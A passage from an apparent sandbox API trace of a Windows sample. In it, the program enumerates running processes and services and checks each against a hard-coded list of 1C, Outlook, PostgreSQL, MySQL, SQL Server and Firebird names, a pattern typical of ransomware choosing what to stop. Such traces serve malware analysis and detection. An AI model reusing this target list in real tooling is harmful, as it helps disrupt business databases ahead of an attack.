lpString2="RuntimeBroker.exe") returned -1 [0190.241] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="RuntimeBroker.exe") returned -1 [0190.241] lstrcmpiW (lpString1="mysqld.exe", lpString2="RuntimeBroker.exe") returned -1 [0190.241] lstrcmpiW (lpString1="sqlservr.exe", lpString2="RuntimeBroker.exe") returned 1 [0190.241] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0190.243] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0190.243] lstrcmpiW (lpString1="1c8.exe", lpString2="WmiPrvSE.exe") returned -1 [0190.243] lstrcmpiW (lpString1="1cv77.exe", lpString2="WmiPrvSE.exe") returned -1 [0190.243] lstrcmpiW (lpString1="outlook.exe", lpString2="WmiPrvSE.exe") returned -1 [0190.243] lstrcmpiW (lpString1="postgres.exe", lpString2="WmiPrvSE.exe") returned -1 [0190.243] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="WmiPrvSE.exe") returned -1 [0190.243] lstrcmpiW (lpString1="mysqld.exe", lpString2="WmiPrvSE.exe") returned -1 [0190.243] lstrcmpiW (lpString1="sqlservr.exe", lpString2="WmiPrvSE.exe") returned -1 [0190.243] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa38, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0190.244] lstrlenW (lpString="wmxsde.exe") returned 10 [0190.244] lstrcmpiW (lpString1="1c8.exe", lpString2="wmxsde.exe") returned -1 [0190.245] lstrcmpiW (lpString1="1cv77.exe", lpString2="wmxsde.exe") returned -1 [0190.245] lstrcmpiW (lpString1="outlook.exe", lpString2="wmxsde.exe") returned -1 [0190.245] lstrcmpiW (lpString1="postgres.exe", lpString2="wmxsde.exe") returned -1 [0190.245] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wmxsde.exe") returned -1 [0190.245] lstrcmpiW (lpString1="mysqld.exe", lpString2="wmxsde.exe") returned -1 [0190.245] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wmxsde.exe") returned -1 [0190.245] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x3bc, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0190.247] lstrlenW (lpString="consent.exe") returned 11 [0190.247] lstrcmpiW (lpString1="1c8.exe", lpString2="consent.exe") returned -1 [0190.247] lstrcmpiW (lpString1="1cv77.exe", lpString2="consent.exe") returned -1 [0190.247] lstrcmpiW (lpString1="outlook.exe", lpString2="consent.exe") returned 1 [0190.247] lstrcmpiW (lpString1="postgres.exe", lpString2="consent.exe") returned 1 [0190.247] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="consent.exe") returned 1 [0190.247] lstrcmpiW (lpString1="mysqld.exe", lpString2="consent.exe") returned 1 [0190.247] lstrcmpiW (lpString1="sqlservr.exe", lpString2="consent.exe") returned 1 [0190.247] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0190.249] lstrlenW (lpString="dllhost.exe") returned 11 [0190.249] lstrcmpiW (lpString1="1c8.exe", lpString2="dllhost.exe") returned -1 [0190.249] lstrcmpiW (lpString1="1cv77.exe", lpString2="dllhost.exe") returned -1 [0190.249] lstrcmpiW (lpString1="outlook.exe", lpString2="dllhost.exe") returned 1 [0190.249] lstrcmpiW (lpString1="postgres.exe", lpString2="dllhost.exe") returned 1 [0190.249] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="dllhost.exe") returned 1 [0190.249] lstrcmpiW (lpString1="mysqld.exe", lpString2="dllhost.exe") returned 1 [0190.249] lstrcmpiW (lpString1="sqlservr.exe", lpString2="dllhost.exe") returned 1 [0190.249] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0190.250] CloseHandle (hObject=0x378) returned 1 [0190.250] Sleep (dwMilliseconds=0x1f4) [0191.054] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x459f448 [0191.055] EnumServicesStatusExW (in: hSCManager=0x459f448, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 0 [0191.055] GetLastError () returned 0xea [0191.055] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1bc4) returned 0x4661fb8 [0191.055] EnumServicesStatusExW (in: hSCManager=0x459f448, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4661fb8, cbBufSize=0x1bc4, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4661fb8, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 1 [0191.057] CloseServiceHandle (hSCObject=0x459f448) returned 1 [0191.057] lstrlenW (lpString="Appinfo") returned 7 [0191.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0191.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0191.057] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0191.057] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0191.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0191.057] lstrlenW (lpString="AppXSvc") returned 7 [0191.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0191.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0191.057] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0191.057] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0191.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0191.058] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0191.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0191.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0191.059] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0191.059] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0191.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0191.059] lstrlenW (lpString="Audiosrv") returned 8 [0191.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0191.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0191.059] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0191.059] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0191.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0191.059] lstrlenW (lpString="BFE") returned 3 [0191.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0191.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0191.059] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0191.059] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0191.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0191.059] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0191.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0191.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0191.059] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0191.059] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0191.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0191.059] lstrlenW (lpString="CDPSvc") returned 6 [0191.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0191.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0191.060] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0191.060] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0191.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0191.060] lstrlenW (lpString="ClickToRunSvc") returned 13 [0191.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0191.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0191.060] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0191.060] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0191.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0191.060] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0191.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0191.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0191.060] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0191.060] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0191.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0191.060] lstrlenW (lpString="CryptSvc") returned 8 [0191.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0191.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0191.060] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0191.060] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0191.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0191.061] lstrlenW (lpString="DcomLaunch") returned 10 [0191.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0191.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0191.061] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0191.061] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0191.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0191.061] lstrlenW (lpString="DeviceAssociationService") returned 24 [0191.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0191.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0191.061] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0191.061] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0191.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0191.061] lstrlenW (lpString="Dhcp") returned 4 [0191.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0191.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0191.061] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0191.061] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0191.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0191.061] lstrlenW (lpString="Dnscache") returned 8 [0191.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0191.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0191.061] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0191.061] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0191.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0191.062] lstrlenW (lpString="DPS") returned 3 [0191.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0191.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0191.062] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0191.062] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0191.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0191.062] lstrlenW (lpString="DusmSvc") returned 7 [0191.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0191.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0191.062] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0191.062] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0191.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0191.062] lstrlenW (lpString="EventLog") returned 8 [0191.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0191.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0191.063] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0191.063] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0191.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0191.063] lstrlenW (lpString="EventSystem") returned 11 [0191.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0191.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0191.063] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0191.063] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0191.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0191.063] lstrlenW (lpString="FontCache") returned 9 [0191.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0191.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0191.063] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0191.063] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0191.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0191.063] lstrlenW (lpString="gpsvc") returned 5 [0191.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0191.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0191.063] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0191.063] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0191.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0191.064] lstrlenW (lpString="iphlpsvc") returned 8 [0191.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0191.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0191.285] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0191.285] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0191.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0191.285] lstrlenW (lpString="KeyIso") returned 6 [0191.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0191.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0191.285] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0191.285] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0191.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0191.285] lstrlenW (lpString="LanmanServer") returned 12 [0191.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0191.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0191.285] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0191.285] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0191.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0191.285] lstrlenW (lpString="LanmanWorkstation") returned 17 [0191.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0191.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0191.285] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0191.285] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0191.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0191.285] lstrlenW (lpString="lfsvc") returned 5 [0191.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0191.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0191.286] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0191.286] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0191.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0191.286] lstrlenW (lpString="lmhosts") returned 7 [0191.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0191.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0191.286] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0191.286] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0191.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0191.286] lstrlenW (lpString="LSM") returned 3 [0191.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0191.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0191.286] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0191.286] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0191.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0191.286] lstrlenW (lpString="MpsSvc") returned 6 [0191.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0191.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0191.286] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0191.286] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0191.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0191.287] lstrlenW (lpString="NcbService") returned 10 [0191.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0191.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0191.287] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0191.287] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0191.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0191.287] lstrlenW (lpString="netprofm") returned 8 [0191.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0191.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0191.287] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0191.287] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0191.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0191.287] lstrlenW (lpString="NgcSvc") returned 6 [0191.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0191.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0191.287] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0191.287] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0191.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0191.287] lstrlenW (lpString="NlaSvc") returned 6 [0191.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0191.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0191.287] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0191.287] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0191.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0191.288] lstrlenW (lpString="nsi") returned 3 [0191.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0191.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0191.288] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0191.288] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0191.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0191.288] lstrlenW (lpString="PcaSvc") returned 6 [0191.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0191.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0191.288] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0191.288] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0191.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0191.288] lstrlenW (lpString="PlugPlay") returned 8 [0191.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0191.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0191.288] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0191.288] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0191.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0191.288] lstrlenW (lpString="Power") returned 5 [0191.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0191.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0191.289] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0191.289] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0191.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0191.289] lstrlenW (lpString="ProfSvc") returned 7 [0191.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0191.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0191.290] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0191.290] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0191.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0191.290] lstrlenW (lpString="RpcEptMapper") returned 12 [0191.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0191.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0191.290] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0191.290] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0191.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0191.290] lstrlenW (lpString="RpcSs") returned 5 [0191.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0191.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0191.290] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0191.290] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0191.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0191.290] lstrlenW (lpString="SamSs") returned 5 [0191.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0191.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0191.290] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0191.290] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0191.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0191.290] lstrlenW (lpString="Schedule") returned 8 [0191.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0191.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0191.291] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0191.291] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0191.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0191.291] lstrlenW (lpString="SecurityHealthService") returned 21 [0191.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0191.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0191.291] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0191.291] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0191.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0191.291] lstrlenW (lpString="SENS") returned 4 [0191.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0191.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0191.292] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0191.292] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0191.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0191.292] lstrlenW (lpString="ShellHWDetection") returned 16 [0191.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0191.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0191.292] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0191.292] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0191.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 